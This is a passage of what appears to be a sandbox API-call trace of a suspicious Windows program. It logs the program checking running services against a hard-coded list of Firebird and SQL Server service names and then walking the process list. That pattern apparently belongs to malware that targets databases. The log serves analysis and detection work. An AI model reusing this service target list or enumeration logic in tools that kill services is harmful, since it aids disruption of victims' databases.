	[0054.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0054.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0054.281] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0054.281] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0054.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0054.281] lstrlenW (lpString="SSDPSRV") returned 7
	[0054.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0054.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0054.281] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0054.281] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0054.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0054.281] lstrlenW (lpString="StateRepository") returned 15
	[0054.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0054.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0054.281] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0054.281] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0054.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0054.281] lstrlenW (lpString="SysMain") returned 7
	[0054.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0054.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0054.281] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0054.281] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0054.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0054.282] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0054.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0054.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0054.282] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0054.282] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0054.282] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43d4cd0 | out: hHeap=0x650000) returned 1
	[0054.282] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x304
	[0055.240] Process32FirstW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0055.241] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0055.242] lstrlenW (lpString="System") returned 6
	[0055.242] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0055.242] lstrlenW (lpString="smss.exe") returned 8
	[0055.242] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0055.243] lstrlenW (lpString="csrss.exe") returned 9
	[0055.243] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0055.244] lstrlenW (lpString="wininit.exe") returned 11
	[0055.244] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0055.244] lstrlenW (lpString="csrss.exe") returned 9
	[0055.244] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0055.245] lstrlenW (lpString="winlogon.exe") returned 12
	[0055.245] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0055.246] lstrlenW (lpString="services.exe") returned 12
	[0055.246] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0055.246] lstrlenW (lpString="lsass.exe") returned 9
	[0055.246] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.247] lstrlenW (lpString="svchost.exe") returned 11
	[0055.247] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0055.248] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0055.248] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0055.249] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0055.249] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.249] lstrlenW (lpString="svchost.exe") returned 11
	[0055.249] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0055.250] lstrlenW (lpString="dwm.exe") returned 7
	[0055.250] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.251] lstrlenW (lpString="svchost.exe") returned 11
	[0055.251] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.251] lstrlenW (lpString="svchost.exe") returned 11
	[0055.252] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.252] lstrlenW (lpString="svchost.exe") returned 11
	[0055.252] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.253] lstrlenW (lpString="svchost.exe") returned 11
	[0055.253] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.254] lstrlenW (lpString="svchost.exe") returned 11
	[0055.254] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.255] lstrlenW (lpString="svchost.exe") returned 11
	[0055.255] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.255] lstrlenW (lpString="svchost.exe") returned 11
	[0055.256] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.256] lstrlenW (lpString="svchost.exe") returned 11
	[0055.256] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.257] lstrlenW (lpString="svchost.exe") returned 11
	[0055.257] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0055.258] lstrlenW (lpString="spoolsv.exe") returned 11
	[0055.258] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.259] lstrlenW (lpString="svchost.exe") returned 11
	[0055.259] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.259] lstrlenW (lpString="svchost.exe") returned 11
	[0055.259] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0055.260] lstrlenW (lpString="audiodg.exe") returned 11
	[0055.260] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0055.261] lstrlenW (lpString="sihost.exe") returned 10
	[0055.261] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.262] lstrlenW (lpString="svchost.exe") returned 11
	[0055.262] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0055.262] lstrlenW (lpString="taskhostw.exe") returned 13
	[0055.262] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0055.263] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0055.263] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0055.264] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0055.264] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0055.265] lstrlenW (lpString="explorer.exe") returned 12
	[0055.265] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0055.265] lstrlenW (lpString="Memory Compression") returned 18
	[0055.265] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0055.266] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0055.266] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0055.267] lstrlenW (lpString="SearchUI.exe") returned 12
	[0055.267] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0055.268] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0055.268] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0055.268] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0055.268] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0055.269] lstrlenW (lpString="taskhostw.exe") returned 13
	[0055.269] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0055.270] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0055.270] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0055.270] lstrlenW (lpString="UsoClient.exe") returned 13
	[0055.271] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0055.271] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0055.271] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0055.272] lstrlenW (lpString="taskhostw.exe") returned 13
	[0055.272] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0055.273] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0055.273] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0055.273] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0055.273] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0055.877] lstrlenW (lpString="msoia.exe") returned 9
	[0055.877] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0055.878] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0055.878] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0055.879] lstrlenW (lpString="msoia.exe") returned 9
	[0055.879] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0055.879] lstrlenW (lpString="roof.exe") returned 8
	[0055.879] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0055.880] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0055.880] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0055.881] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0055.881] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0055.881] lstrlenW (lpString="cause.exe") returned 9
	[0055.881] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0055.882] lstrlenW (lpString="occasionstax.exe") returned 16
	[0055.882] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0055.883] lstrlenW (lpString="distributors.exe") returned 16
	[0055.883] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0055.883] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0055.883] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0055.884] lstrlenW (lpString="rand.exe") returned 8
	[0055.884] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0055.885] lstrlenW (lpString="unlikely.exe") returned 12
	[0055.885] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0055.885] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0055.886] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0055.886] lstrlenW (lpString="promotion.exe") returned 13
	[0055.886] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0055.887] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0055.887] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0055.889] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0055.889] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0055.890] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0055.890] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0055.891] lstrlenW (lpString="bad-length.exe") returned 14
	[0055.891] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0055.892] lstrlenW (lpString="unit.exe") returned 8
